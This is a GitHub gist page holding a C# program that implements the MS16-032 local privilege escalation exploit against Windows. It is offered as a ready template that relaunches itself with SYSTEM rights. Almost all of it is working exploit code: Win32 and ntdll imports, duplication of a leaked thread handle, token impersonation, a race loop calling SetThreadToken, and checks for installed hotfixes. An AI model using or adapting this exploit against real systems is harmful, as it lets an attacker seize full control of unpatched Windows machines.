Last active
July 30, 2016 18:30
-
-
Save 71/dce4c6e34fd71fbc8ee404ac456b0a6b to your computer and use it in GitHub Desktop.
Program.cs file that is guaranteed to execute with SYSTEM rights, thanks to MS16-032. Works with .NET 3.5+.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace SystemApp | |
{ | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Runtime.InteropServices; | |
using System.Diagnostics; | |
using System.Threading; | |
using System; | |
using System.Reflection; | |
#region MS16-032 | |
#region Windows APIs | |
[StructLayout(LayoutKind.Sequential)] | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public int dwProcessId; | |
public int dwThreadId; | |
} | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
public struct STARTUPINFO | |
{ | |
public Int32 cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public Int32 dwX; | |
public Int32 dwY; | |
public Int32 dwXSize; | |
public Int32 dwYSize; | |
public Int32 dwXCountChars; | |
public Int32 dwYCountChars; | |
public Int32 dwFillAttribute; | |
public Int32 dwFlags; | |
public Int16 wShowWindow; | |
public Int16 cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct SQOS | |
{ | |
public int Length; | |
public int ImpersonationLevel; | |
public int ContextTrackingMode; | |
public bool EffectiveOnly; | |
} | |
public static class Advapi32 | |
{ | |
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
public static extern bool CreateProcessWithLogonW( | |
String userName, | |
String domain, | |
String password, | |
int logonFlags, | |
String applicationName, | |
String commandLine, | |
int creationFlags, | |
int environment, | |
String currentDirectory, | |
ref STARTUPINFO startupInfo, | |
out PROCESS_INFORMATION processInformation); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public static extern bool SetThreadToken( | |
ref IntPtr Thread, | |
IntPtr Token); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public static extern bool OpenThreadToken( | |
IntPtr ThreadHandle, | |
int DesiredAccess, | |
bool OpenAsSelf, | |
out IntPtr TokenHandle); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public static extern bool OpenProcessToken( | |
IntPtr ProcessHandle, | |
int DesiredAccess, | |
ref IntPtr TokenHandle); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public extern static bool DuplicateToken( | |
IntPtr ExistingTokenHandle, | |
int SECURITY_IMPERSONATION_LEVEL, | |
ref IntPtr DuplicateTokenHandle); | |
} | |
public static class Kernel32 | |
{ | |
[DllImport("kernel32.dll")] | |
public static extern uint GetLastError(); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr GetCurrentProcess(); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr GetCurrentThread(); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int GetThreadId(IntPtr hThread); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int GetProcessIdOfThread(IntPtr handle); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int SuspendThread(IntPtr hThread); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int ResumeThread(IntPtr hThread); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool TerminateProcess( | |
IntPtr hProcess, | |
uint uExitCode); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool CloseHandle(IntPtr hObject); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool DuplicateHandle( | |
IntPtr hSourceProcessHandle, | |
IntPtr hSourceHandle, | |
IntPtr hTargetProcessHandle, | |
ref IntPtr lpTargetHandle, | |
int dwDesiredAccess, | |
bool bInheritHandle, | |
int dwOptions); | |
} | |
public static class Ntdll | |
{ | |
[DllImport("ntdll.dll", SetLastError = true)] | |
public static extern int NtImpersonateThread( | |
IntPtr ThreadHandle, | |
IntPtr ThreadToImpersonate, | |
ref SQOS SecurityQualityOfService); | |
} | |
#endregion | |
/// <summary> | |
/// Simple class that invokes the MS16-032 vulnerability. | |
/// <seealso cref="https://technet.microsoft.com/en-us/library/security/ms16-032.aspx"/> | |
/// <seealso cref="https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html"/> | |
/// <seealso cref="https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1"/> | |
/// </summary> | |
public static class MS16032 | |
{ | |
#region Publicly exposed members | |
/// <summary> | |
/// Whether or not the M16-032 vulnerability | |
/// can be executed on this system. | |
/// <para> | |
/// Affected OSes are: Vista, 7, 8.1, 10, Server 2008, and Server 2012. | |
/// Both 32bit and 64bit are affected. | |
/// </para> | |
/// <para> | |
/// The OS must have at least two CPU cores. | |
/// </para> | |
/// <para> | |
/// On Windows 10, the vulnerability is patched in KB3135174 and KB3140743. | |
/// </para> | |
/// </summary> | |
public static bool CanExecute | |
{ | |
get | |
{ | |
return Environment.ProcessorCount > 1 | |
&& Environment.OSVersion.Version.Major == 6 | |
&& !GetInstalledHotfixes().Any(hotfix => hotfix == "KB3135174" || hotfix == "KB3140743"); | |
} | |
} | |
/// <summary> | |
/// Get the last error encountered while invoking | |
/// the MS16-032 vulnerability. | |
/// </summary> | |
public static string LastError { get; private set; } | |
/// <summary> | |
/// Return whether or not the current user has SYSTEM rights. | |
/// </summary> | |
public static bool IsSystem | |
{ | |
get | |
{ | |
Process cmd = new Process | |
{ | |
StartInfo = new ProcessStartInfo | |
{ | |
FileName = "whoami", | |
UseShellExecute = false, | |
RedirectStandardOutput = true, | |
CreateNoWindow = true | |
} | |
}; | |
try | |
{ | |
cmd.Start(); | |
cmd.WaitForExit(500); | |
} | |
catch (Exception) | |
{ | |
cmd.Dispose(); | |
return false; | |
} | |
using (cmd) | |
return cmd.StandardOutput.ReadToEnd().Trim().Equals(@"nt authority\system", StringComparison.InvariantCultureIgnoreCase); | |
} | |
} | |
/// <summary> | |
/// Execute a given command as administrator, using the MS16-032 vulnerability. | |
/// </summary> | |
/// <param name="cmd">The command to execute as an administrator</param> | |
/// <returns>Whether or not the operation was successful.</returns> | |
public static bool ExecuteAsAdmin(string app = @"C:\Windows\System32\cmd.exe", string args = "", TimeSpan? timeout = null) | |
{ | |
IntPtr sysTokenHandle; | |
IntPtr hThread; | |
if ((hThread = GetThreadHandle()) == IntPtr.Zero) | |
return Error("Cannot get thread handle."); | |
try | |
{ | |
sysTokenHandle = GetSystemToken(hThread); | |
} | |
catch (Exception e) | |
{ | |
Kernel32.ResumeThread(hThread); | |
return Error(e.Message); | |
} | |
IntPtr duplicateTokenHandle = IntPtr.Zero; | |
Advapi32.DuplicateToken(sysTokenHandle, 2, ref duplicateTokenHandle); | |
Thread raceThread = new Thread(() => | |
{ | |
while (true) | |
Advapi32.SetThreadToken(ref hThread, duplicateTokenHandle); | |
}); | |
Stopwatch safeGuard = new Stopwatch(); | |
int ms = timeout.HasValue ? timeout.Value.Milliseconds : 10000; | |
raceThread.Start(); | |
while (safeGuard.ElapsedMilliseconds < ms) | |
{ | |
PROCESS_INFORMATION processInfo; | |
var startupInfo = new STARTUPINFO | |
{ | |
cb = Marshal.SizeOf(typeof(STARTUPINFO)) | |
}; | |
if (!Advapi32.CreateProcessWithLogonW( | |
"user", "domain", "pass", 0x00000002, | |
app, args, 0x00000004, | |
0, Environment.CurrentDirectory, ref startupInfo, out processInfo)) | |
{ | |
continue; | |
} | |
IntPtr tokenHandle = IntPtr.Zero; | |
if (!Advapi32.OpenProcessToken(processInfo.hProcess, 0x28, ref tokenHandle)) | |
{ | |
safeGuard.Stop(); | |
raceThread.Abort(); | |
return true; | |
} | |
Kernel32.TerminateProcess(processInfo.hProcess, 1); | |
Kernel32.CloseHandle(processInfo.hProcess); | |
Kernel32.CloseHandle(processInfo.hThread); | |
} | |
safeGuard.Stop(); | |
raceThread.Abort(); | |
return false; | |
} | |
#endregion | |
#region Private methods | |
/// <summary> | |
/// Return <c>false</c>, and set <see cref="LastError"/> to <paramref name="err"/>. | |
/// </summary> | |
private static bool Error(string err) | |
{ | |
LastError = err; | |
return false; | |
} | |
private static IntPtr GetThreadHandle() | |
{ | |
PROCESS_INFORMATION processInfo; | |
IntPtr currentThread = Kernel32.GetCurrentThread(); | |
var startupInfo = new STARTUPINFO | |
{ | |
dwFlags = 0x00000100, | |
hStdInput = currentThread, | |
hStdOutput = currentThread, | |
hStdError = currentThread, | |
cb = Marshal.SizeOf(typeof(STARTUPINFO)) | |
}; | |
Advapi32.CreateProcessWithLogonW( | |
"user", "domain", "pass", 0x00000002, | |
@"C:\Windows\System32\cmd.exe", "", 0x00000004, | |
0, Environment.CurrentDirectory, ref startupInfo, out processInfo); | |
IntPtr targetHandle = IntPtr.Zero; | |
Kernel32.DuplicateHandle( | |
processInfo.hProcess, (IntPtr)0x4, Kernel32.GetCurrentProcess(), | |
ref targetHandle, 0, false, 0x00000002); | |
Kernel32.TerminateProcess(processInfo.hProcess, 1); | |
Kernel32.CloseHandle(processInfo.hProcess); | |
Kernel32.CloseHandle(processInfo.hThread); | |
return targetHandle; | |
} | |
private static IntPtr GetSystemToken(IntPtr hThread) | |
{ | |
if (Kernel32.SuspendThread(hThread) != 0) | |
throw new Exception("Bad thread."); | |
if (!Advapi32.SetThreadToken(ref hThread, IntPtr.Zero)) | |
throw new Exception("SetThreadToken failed."); | |
SQOS sqos = new SQOS | |
{ | |
ImpersonationLevel = 2, | |
Length = Marshal.SizeOf(typeof(SQOS)) | |
}; | |
if (Ntdll.NtImpersonateThread(hThread, hThread, ref sqos) != 0) | |
throw new Exception("NtImpersonateThread failed."); | |
IntPtr sysTokenHandle; | |
if (!Advapi32.OpenThreadToken(hThread, 0x0006, false, out sysTokenHandle)) | |
throw new Exception("OpenThreadToken failed."); | |
Kernel32.ResumeThread(hThread); | |
return sysTokenHandle; | |
} | |
private static IEnumerable<string> GetInstalledHotfixes() | |
{ | |
Process cmd = new Process | |
{ | |
StartInfo = new ProcessStartInfo | |
{ | |
FileName = "wmic", | |
Arguments = "QFE GET HotfixID", | |
UseShellExecute = false, | |
RedirectStandardOutput = true, | |
CreateNoWindow = true | |
} | |
}; | |
try | |
{ | |
cmd.Start(); | |
cmd.WaitForExit(500); | |
} | |
catch (Exception) | |
{ | |
cmd.Dispose(); | |
yield break; | |
} | |
while (!cmd.StandardOutput.EndOfStream) | |
yield return cmd.StandardOutput.ReadLine().Trim(); | |
cmd.Dispose(); | |
} | |
#endregion | |
} | |
#endregion | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
#region Make sure we're admins | |
if (!MS16032.IsSystem) | |
{ | |
if (!MS16032.CanExecute) | |
Console.WriteLine("Cannot execute MS16-032 on this machine."); | |
else if (!MS16032.ExecuteAsAdmin(Assembly.GetExecutingAssembly().Location)) | |
Console.WriteLine("Couldn't exploit MS16-032: {0}", MS16032.LastError); | |
return; | |
} | |
#endregion | |
// The code beneath this line will be executed as SYSTEM. | |
Console.ReadKey(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment